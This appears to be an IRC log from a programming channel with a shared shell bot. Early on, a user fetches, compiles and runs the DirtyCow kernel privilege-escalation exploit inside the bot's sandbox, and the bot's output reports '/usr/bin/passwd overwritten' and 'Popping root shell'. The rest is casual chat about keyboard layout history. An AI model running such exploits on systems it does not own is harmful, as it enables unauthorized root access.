19:19:13 <HackEgo> passwd: Cannot determine your user name.
19:19:57 -!- AnotherTest has quit (Ping timeout: 260 seconds).
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19:20:36 <moony_the_lycan> zzo38, i MAY have done a thing hackego's systems dont like :p
19:20:52 <zzo38> What thing is that?
19:21:34 <HackEgo> bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.2$
19:22:00 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ R
19:22:23 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:22:47 <HackEgo> whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 51096 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:27:09 -!- Zarutian has quit (Ping timeout: 268 seconds).
19:29:02 <moony_the_lycan> `fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
19:29:04 <HackEgo> 2016-10-28 18:28:07 URL:https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c [2826/2826] -> "dirtyc0w.c" [1]
19:29:31 <HackEgo> gcc: error: unrecognized command line option ‘-ptrace’
19:30:25 <HackEgo> -r-----r-- 1 5000 0 15 Oct 28 18:29 foo
19:31:11 <HackEgo> cat: /dev/mem: Permission denied
19:32:06 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:32:29 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
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19:32:53 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:32:56 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:33:10 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:33:27 <ais523> moony_the_lycan: you're screwing up the syntax
19:33:47 <ais523> a lone ` would execute the command whose name is the null string
19:33:52 <ais523> which is not a valid filename on most OSes
19:33:59 <HackEgo> /hackenv/bin/`: line 4: : No such file or directory
19:34:10 <ais523> although that's an interesting error message to get in that situation
19:34:15 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:34:21 <HackEgo> /hackenv/bin/`: line 4: /dev/sda1: Read-only file system
19:35:04 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
19:35:27 -!- otherbot has changed nick to otterbot.
19:38:08 <HackEgo> rm: cannot remove `/hackenv/.hg/.branchheads.cache-2RY4L9': Read-only file system \ rm: cannot remove `/hackenv/.hg/store/dh/node-v0_/lib/node_mod/npm/node_mod/npm-regi/node_mod/couch-lo/package.json.aa673ea164dbf2e331c8c0d43ba31c9c6e4305a9.i': Read-only file system \ rm: cannot remove `/hackenv/.hg/store/dh/node-v0_/lib/node_mod/npm/node_mod/npm-r
19:39:03 <HackEgo> bin \ canary \ cowroot \ cowroot.c \ dirtyc0w \ dirtyc0w.c \ emoticons \ esobible \ etc \ evil \ factor \ foo \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf
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19:59:57 <HackEgo> <moony_the_lycän> ` echo "this is a test" > foo; chmod 404 foo \ <moony_the_lycän> ` gcc -pthread dirtyc0w.c -o dirtyc0w \ <moony_the_lycän> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c \ <oerjän> learn Testing is always appropriate. \ <moony_the_lycän> ` gcc -pthread cowroot.c -o cowroot \ <moo
20:10:18 <HackEgo> http://codu.org/projects/hackbot/fshg/
20:10:39 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
20:12:10 <HackEgo> cowroot cowroot.c dirtyc0w dirtyc0w.c foo wisdom/testing
20:13:58 <HackEgo> shaventions include: before/now/lastfiles, culprits, hog/{h,d}oag, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
20:14:31 <shachaf> do you remember the good old days before before/now/lastfiles/culprits/*o*g/le//rn/tmp/mkx/sled/sedlast/spam
20:15:07 -!- clog has joined.
20:15:16 <shachaf> wait, even *o*g doesn't cover it anymore, with doat etc.
20:15:37 <HackEgo> 2016-10-27 <oerjän> le/rn hoag/`[hd]o[aw][gt] [<filename>] is a set of commands for querying HackEgo logs. `hoag is the basic version. d adds dates, w looks only in wisdom, and t lists in reverse. \ 2016-10-27 <oerjän> le/rn hoag/`[hd]o[aw][gt] [<filename>] is a set of commands for querying HackEgo hg logs. `hoag is the basic version. d adds da
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20:30:01 <HackEgo> bin/doag \ bin/doat \ bin/dowg \ bin/dowt \ bin/good \ bin/hoag \ bin/hoat \ bin/howg \ bin/howt \ bin/pong \ bin/roll \ bin/rot0 \ bin/word
20:30:07 <shachaf> oerjan: that doesn't cover hog, anyway
20:30:57 <HackEgo> âELF............>.....¤@.....@.......b..........@.8..@.........@.......@.@.....@.@.....ø.......ø................. ...8......8@.....8@............................................@.......@.....W......W........ ............à]......à]`.....à]`.....°......`........ ...........ø]......ø]`.....ø]`.....à.......à.............. ..
20:31:16 <HackEgo> lrwxrwxrwx 1 5000 0 9 Oct 28 18:37 bin/rot0 -> /bin/echo
20:32:17 <shachaf> can you stop catting binary files in the channel twh
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20:50:29 <wob_jonas> I have a stupid question about computers history.
20:52:27 <myname> i have a useless answer
20:53:30 <olsner> history is the past, why would you have a question about it?
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20:54:47 <myname> why would you ask meta questions?
20:55:35 <wob_jonas> You know how some older computers had keyboards where most of the ascii punctuation was bit-paired like god intended, namely the digit-punctuation pairs ;* :+ -= are on the same keys accessed with shift, and the lowercase-uppercase pairs `@ ~^ are on the same keys acessed with shift.
20:55:50 <olsner> myname: is that a rhetorical question? is this?
20:56:06 <zzo38> Yes, Famicom keyboard does that (although Famicom keyboard has no lowercase)
20:56:40 <wob_jonas> But on today's computers, the US english layout is very well spread, where 2@ 6^ 7& ;: += `~ etc are paired.
20:57:28 <myname> because typing for humans is more important than bitpaired keys?
20:57:31 <wob_jonas> My question is, did this current US English layout got so much spread it's now universal when the IBM PC got real popular (most of it has this layout in its ROM) and everyone started cloning it, or was it already universal before that?
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21:01:05 <myname> ijd guess bitpairing only was done because it was cheap and easy
21:01:58 <wob_jonas> myname: well sure, but it's also the way keyboards should work. except for the space bar, because shift-space emitting space is very useful.
21:02:28 <myname> why "should" it work like this?
21:02:41 <wob_jonas> But even if you're not bitpairing, I'd like to understand how this particular layout spread so much.
21:02:51 <wob_jonas> There are a lots of other possible bit-pairing layouts.
21:03:07 <wob_jonas> Like, who the heck put the ampersand on the number 7 instead of 6?
21:03:26 <wob_jonas> There are a lot of other possible non-bit-pairing layouts.
21:05:57 * oerjan has ampersand on the number 6 key, anyway
21:06:48 <ais523> oerjan: what layout is that?
21:07:03 <ais523> somehow I should have guessed that
21:07:21 <ais523> is it missing any keys that are on a US keyboard? or does it use a different arrangement, e.g. putting many of them on altgr?
21:07:32 <ais523> err, I should say missing any characters
21:07:37 <ais523> obviously it's missing a 7& key :-P
21:07:51 <wob_jonas> the UK keyboard also has a really strange arrangement. it uses the 102 key base, and has two extra characters, but also pairs "@ iirc
21:07:51 <oerjan> lots on altgr, e.g. {[]}
21:08:08 <wob_jonas> but at least it pairs ~^ properly I think
21:08:18 <wob_jonas> the Hungarian layout is of course completely messed up
21:08:32 <zzo38> I did make also the plan for a new computer design which also uses bitpairing keyboard
21:08:57 * oerjan has ~ and ^ on the same key, although the first uses altgr. also they're both dead keys.
21:09:16 <wob_jonas> zzo38: have I told you yet to look at John Savard's homepage at http://www.quadibloc.com/ ?
21:09:30 * oerjan has no idea what this bitpairing is about, anyway
21:10:35 <wob_jonas> zzo38: he's the kind of person who tries to designs entire instruction sets and keyboard layout and other computer stuff, but also collected a lot of historical information about computers
21:10:46 <ais523> oerjan: an "ideal" ASCII keyboard would implement shift as xor-32, ctrl as xor-64, alt as xor-128
21:10:51 <wob_jonas> and collected a lot of historical information about non-computer stuff too
21:11:19 <ais523> that matches up with a decent proportion of the keycaps on most keyboards, but there are several that violate the rule
21:11:21 <wob_jonas> ais523: well, I like how shift-space results in space
21:11:42 <ais523> yes, there are reasons to deviate from ASCII in practice
21:11:55 <ais523> also most keyboards have more than 35 keys, which is all they'd theoretically need with those constraints
21:13:11 <wob_jonas> also, if you did that, then you'd need to press control-shift to type digits
21:14:09 <ais523> assuming you have lowercase letters
21:14:23 <oerjan> > chr $ 48 `xor` 32 `xor` 64
21:14:37 <pikhq> wob_jonas: The IBM PC's keyboard layout wasn't original to it. It was used by the Selectric typewriter, and that became standard for electric typewriters.
21:14:39 <wob_jonas> ais523: oh right, you have lowercase letters, so control types digits, and control-shift types control codes
21:14:43 <ais523> ctrl-lowercase-p would be 0
21:14:51 <pikhq> So, by the time the IBM PC came around it was already an established de facto standard.
21:14:53 <ais523> ctrl-uppercase-p (i.e. ctrl-shift-p) would be ^P
21:14:54 <wob_jonas> pikhq: definitely not original, I just want to know what spread it
21:15:15 <wob_jonas> ais523: yes, that makes more sense
21:16:39 <oerjan> ais523: i think you're missing something
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22:08:49 <lynn> 08:54 <imode> anybody know a good, reliable place for static site hosting.
22:09:39 <wob_jonas> lynn: say the data in this channel, link to the logs?
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